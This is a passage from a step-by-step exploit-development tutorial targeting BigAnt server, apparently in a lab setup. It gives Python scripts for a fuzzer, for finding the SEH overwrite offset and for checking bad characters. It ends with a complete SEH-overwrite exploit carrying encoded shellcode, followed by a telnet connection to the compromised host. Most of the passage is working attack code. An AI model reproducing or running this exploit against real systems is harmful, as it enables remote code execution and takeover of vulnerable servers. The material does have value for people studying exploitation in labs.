2. make file, author make file name for fuzzer with "bigant.py", its content
#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer= "USV "+ "\x41" * 2500 + "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address, target_port))
sock.send(buffer)
print("yes")
sock.close()
3. running BigAnt then ollydbg, run in ollydbg, running on the backtrack ,do fuzzer .
and this result for SEH chain
the, press Shift + F9 for to direct Data in SEH Chain to Memory.
and the, how know the data buffer in memory? right click for row stack choose file dump
4. Finding address " POP, POP retn"
copy file vbajet32.dll from windows and paste in backtrak on folder "tmp"
further, clikc view-execute model-search for - sequence of command,
and will appear.
after find , will find appear
5. Search offset for overwrite SEH
edit file "bigantfuzzer.py" become
#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer= "USV "
buffer+="*************"+"\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address, target_port))
sock.send(buffer)
print("yes")
sock.close()
nb = ***** (result make create pattern offset)
then, running bigant and ollydbg , and make fuzzing, this result
value 966 be required for can to trigger SEH Handler.
6. Edit file "BigAntFuzzer.py" wanna be
#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer= "USV "
buffer+="\xCC\xCC\xCC\xCC"
buffer+="\x41\x41\x41\x41"
buffer+="\x90" * (2504-len(buffer))
buffer+=""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address, target_port))
sock.send(buffer)
print("yes")
sock.close()
running BigAnt adn ollydbg , finish running cek SEH Chain and this result
7. Make ShellCode
this result there is nothing wrong "Bad Carachter"
cek bad caracher,
#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer= "USV "
buffer+="\xCC\xCC\xCC\xCC"
buffer+="\x41\x41\x41\x41"
buffer+="\x90" * (2504-len(buffer))
buffer+="***********" #row 1 in result generate payload
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address, target_port))
sock.send(buffer)
print("yes")
sock.close()
cek result bad character this way ..
running bigant and ollydbg, and make a fuzzing, if result in SEH Chain not "vbajet332.dll" this wrong otherwise. if not wrong edit file "bigantfuzzer.py" and Add a script generates results.. this example
#!/usr/bin/python
import socket
target_address="192.168.56.101"
target_port=6660
buffer= "USV "
buffer+= "\x90" * 962
buffer+= "\xeb\x06\x90\x90"
buffer+= "\x6A\x19\x9A\x0F"
buffer+= "\x90" * 16
buffer+= "\xbe\x1f\x10\xd7\xf0\x29\xc9\xb1\x51\xdb\xc1\xd9\x74\x24\xf4\x5a"
buffer+= "\x31\x72\x0e\x83\xea\xfc\x03\x6d\x1a\x35\x05\x6d\x70\x52\xab\x65"
buffer+="\x7c\x5b\xcb\x8a\x1f\x2f\x58\x50\xc4\xa4\xe4\xa4\x8f\xc7\xe3\xac"
buffer+="\x8e\xd8\x67\x03\x89\xad\x27\xbb\xa8\x5a\x9e\x30\x9e\x17\x21\xa8"
buffer+="\xee\xe7\xba\x98\x95\x28\xc8\xe7\x54\x62\x3c\xe6\x94\x98\xcb\xd3"
buffer+="\x4c\x7b\x1c\x56\x88\x08\x03\xbc\x53\xe4\xda\x37\x5f\xb1\xa9\x18"
buffer+="\x7c\x44\x45\xa5\x50\xcd\x10\xc5\x8c\xcd\x43\xd6\xfc\x36\xe7\x53"
buffer+="\xbd\xf8\x63\x23\x4e\x72\x03\xbf\xe3\x0f\xa4\xb7\xa5\x67\xab\x89"
buffer+="\x57\x94\xe3\xea\xbe\x02\x57\x72\x57\xf8\x65\x12\xd0\x8d\xbb\xbd"
buffer+="\x4a\x8d\x6c\x29\xb8\x9c\x71\x92\x6e\xa0\x5c\xbb\x07\xbb\x07\xc2"
buffer+="\xf5\x4c\xca\x91\x6f\x4f\x35\xc9\x18\x96\xc0\x1c\x75\x7f\x2c\x08"
buffer+="\xd5\xd3\x81\xe7\x89\x90\x76\x44\x7d\xe8\xa9\x2c\xe9\x07\x16\xd6"
buffer+="\xba\xae\x47\x83\x55\x15\x9d\xdb\x62\x02\x5d\xcd\x07\xbd\xf0\xa4"
buffer+="\x28\x6d\x9a\xe2\x7a\xa0\xb2\xbd\x7b\x6b\x17\x14\x7b\x44\xf0\x73"
buffer+="\xca\xe3\x48\x2c\x32\x3d\x1a\x86\x98\x97\x64\xf6\xb2\x70\x7c\x8f"
buffer+="\x72\xf9\xd5\x90\xad\xaf\x26\xbe\x34\x3a\xbd\x58\xd1\xd9\x50\x2d"
buffer+="\xc4\x74\xfb\x74\x2e\x45\x72\x61\x5a\x11\x0c\x8f\xaa\x59\xfd\xe5"
buffer+="\x33\x1b\x2f\x07\x89\xb0\xbc\x7a\x74\xf1\x69\x2f\x22\x69\x1c\xd1"
buffer+="\x86\x7c\x1f\x58\xad\x7f\x09\xf9\x7a\xd2\xe7\xac\xd5\xb8\x06\x1f"
buffer+="\x87\x69\x58\x60\xf7\xfa\xf7\x47\xfd\x34\x54\x88\x28\xa2\xa4\x89"
buffer+="\xe2\xcc\x8b\xfe\x5a\xcf\xaf\xc4\x01\xd0\x66\x96\x36\xfe\xef\x68"
buffer+="\x11\x1d\x9c\xc7\x5e\x34\x9c\x37"
buffer+= "\x90" * (2054-len(buffer))
buffer+= "\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address, target_port))
sock.send(buffer)
print("yes")
sock.close()
8. at the last, running bigant, make fuzzing and the do telnet